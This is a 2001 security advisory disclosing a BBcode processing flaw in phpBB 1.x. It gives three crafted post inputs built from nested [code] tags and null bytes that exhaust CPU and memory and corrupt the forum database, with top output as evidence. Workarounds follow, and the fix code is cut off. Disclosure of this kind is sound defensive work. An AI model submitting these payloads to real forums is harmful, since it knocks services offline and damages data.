(WSS-Advisories-02003) PHPBB BBcode Process Vulnerability Release infomation ------------------ Release Date: 2001-4-4 Author: By Whitecell Security Systems(WSS) tombkeeper (tombkeeper@whitecell.org) alert7 (alert7@whitecell.org) Homepage: http://www.whitecell.org/ bugtraq ID 4432 and 4434 Impact: -------- WSS has found a vulnerability in PHPBB when PHPBB process BBcode,which could enbale one user D.O.S system and destroy PHPBB databases. Affected Versions -------------------- phpBB Group phpBB 1.4.4 phpBB Group phpBB 1.4.2 phpBB Group phpBB 1.4.1 phpBB Group phpBB 1.4.0 phpBB Group phpBB 1.2.1 phpBB Group phpBB 1.2.0 phpBB Group phpBB 1.0.0 ---------------------------- NOT TEST: phpBB Group phpBB 2.x Description: ------------ phpbb support nesting BBcode [code][/code],[quote][/quote],[list][/list]. Unfortunately,there is a mistake when process BBcode in functions.php . Exploit: ---------- Ò»£º submit the following poster: [code] \0\0\0\0\0\0\0 [/code] In fact, the following data have saved to database after BBcode process. [1code] \0\0\0\0\0\0\0 [/code1][1code] \0\0\0\0\0\0\0 [/code1][1code] \0\0\0\0\0\0\0 [/code1][1code] \0\0\0\0\0\0\0 [/code1][1code] \0\0\0\0\0\0\0 [/code1][1code] \0\0\0\0\0\0\0 [/code1][1code] \0\0\0\0\0\0\0 [/code1] ¶þ£º submit the following poster: [code]'\0'*800[/code] see system whitecell$ top PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME COMMAND 8643 nobody 13 0 212M 81M 13604 D 8.0 65.7 0:07 httpd phpbb error message: Could not enter post text! but in fact ,Two data have alreay saved to databases.Now, the database is uncompleted.If you brower the forum to see which you post,phpbb could report message:"Could not connect to the forums database." Èý£º submit 49 bytes data: [code]\0[code]\0[code]\0[/code]\0[/code]\0[/code] type top to see cpu: PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME COMMAND 25741 nobody 14 0 11828 9996 416 R 99.9 7.8 2:38 httpd Experiment environment£ºlinux 2.4.10 Apache/1.3.23 PHP 4.1.2 Vendor -------- http://www.phpbb.com Workaround: ----------- 1:disale BBcode until Vendor fixed. 2:modify functions.php bbencode_code() function bbencode_code($message, $is_html_disabled) { $message = preg_replace("/\[code\](.*?)\[\/code\]/si", "
| Code: |
\\1 |